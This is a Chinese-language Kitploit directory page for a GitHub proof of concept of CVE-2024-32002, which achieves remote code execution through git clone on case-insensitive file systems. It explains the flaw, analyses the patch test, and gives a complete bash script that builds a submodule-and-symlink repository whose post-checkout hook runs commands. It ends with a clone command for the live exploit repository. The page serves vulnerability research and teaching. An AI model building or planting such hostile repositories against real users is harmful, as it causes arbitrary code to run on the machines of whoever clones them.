Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
git_rce — CVE-2024-32002 POC | Kitploit
工具/GitHubGitHub/roronoawjd/git_rce
漏洞分析漏洞利用论文与研究学习与教育Payload 开发
GitHubroronoawjd/git_rce

git_rce

CVE-2024-32002 POC

查看仓库
12年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

通过git clone的远程代码执行攻击(CVE-2024-32002)

贡献者

  • 李廷宇@Roronoawjd

背景说明

该漏洞发生在不区分大小写的文件系统(如Windows、MacOS)上,当克隆包含子模块的git仓库时,会引发RCE(远程代码执行)漏洞。RCE是一种远程代码执行漏洞,攻击者可以在目标系统上执行任意命令,非常危险。 A/modules/x和a/modules/x被视为相同路径。利用这一特性以及符号链接来触发漏洞。

漏洞信息

  • 该POC仅在Windows和MAC系统上运行。
  • 如果设置为git config --global core.symlinks false,则攻击无法生效。

漏洞分析

查看漏洞补丁

builtin/submodule--helper.c

dir_contains_only_dotgit函数:检查目录是否只包含.git文件,或者还包含其他目录,如果有其他文件或目录则返回错误。 clone_submodule函数:在克隆之前检查子模块目录是否存在且为空。

t/t7406-submodule-update.sh

1. 全局配置

root@kitploit:~
test_config_global protocol.file.allow always &&
test_config_global core.symlinks true &&
tell_tale_path="$PWD/tell.tale" &&
  • 该脚本设置Git配置选项。通过protocol.file.allow always启用Git的文件协议。
  • 设置core.symlinks true以允许使用符号链接。
  • tell_tale_path用于确认RCE是否正常执行。

2. hook设置

root@kitploit:~
git init hook &&
(
  cd hook &&
  mkdir -p y/hooks &&
  write_script y/hooks/post-checkout <<-EOF &&
  echo HOOK-RUN >&2
  echo hook-run >"$tell_tale_path"
  EOF
  git add y/hooks/post-checkout &&
  test_tick &&
  git commit -m post-checkout
) &&
  • 初始化hook仓库。
  • 创建一个名为post-checkout的hook。
  • 将hook脚本提交到仓库。

3. 主仓库设置

root@kitploit:~
hook_repo_path="$(pwd)/hook" &&
git init captain &&
(
  cd captain &&
  git submodule add --name x/y "$hook_repo_path" A/modules/x &&
  test_tick &&
  git commit -m add-submodule &&
  printf .git >dotgit.txt &&
  git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
  printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info &&
  git update-index --index-info <index.info &&
  test_tick &&
  git commit -m add-symlink
) &&
  • 保存hook路径。
  • 初始化另一个名为captain的仓库。
  • 将hook仓库作为子模块添加到A/modules/x并提交。
  • 创建一个指向.git的符号链接a。

4. 测试

root@kitploit:~
test_path_is_missing "$tell_tale_path" &&
test_must_fail git clone --recursive captain hooked 2>err &&
grep "directory not empty" err &&
test_path_is_missing "$tell_tale_path"
  • 检查RCE是否已执行。

制作POC

root@kitploit:~
#!/bin/bash

# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# optional, but I added it to avoid the warning message
git config --global init.defaultBranch main 


# Define the tell-tale path
tell_tale_path="$PWD/tell.tale"

# Initialize the hook repository
git init hook
cd hook
mkdir -p y/hooks

# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
echo "I'm roronoa" > /tmp/pwnd
calc.exe
open -a Calculator.app
EOF

# Make the hook executable: important
chmod +x y/hooks/post-checkout

git add y/hooks/post-checkout
git commit -m "post-checkout"

cd ..

# Define the hook repository path
hook_repo_path="$(pwd)/hook"

# Initialize the captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"

# Create a symlink
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..

git clone --recursive captain hooked

Git中存在一种称为hook的机制,可以在特定事件发生时自动执行脚本。hook位于.git/hooks目录下。 post-checkout是在执行checkout后运行的脚本。

image

执行顺序如下:

  1. 在clone仓库git_rce中创建一个指向.git的符号链接a。
  2. 执行git clone时,子模块的路径被识别为a/modules/x而不是A/modules/x。
  3. 由于a指向.git,因此在.git下创建/modules/x,并生成y/hooks/post-checkout。
  4. checkout成功后,自动执行git_rce/.git/modules/x/y/hooks/post-checkout,从而导致RCE。

POC(概念验证)

⚠️警告:请勿恶意使用此漏洞!

root@kitploit:~
git clone --recursive https://github.com/Roronoawjd/git_rce.git

注意:在Windows上,需要以管理员身份打开cmd或bash shell执行。

下载工具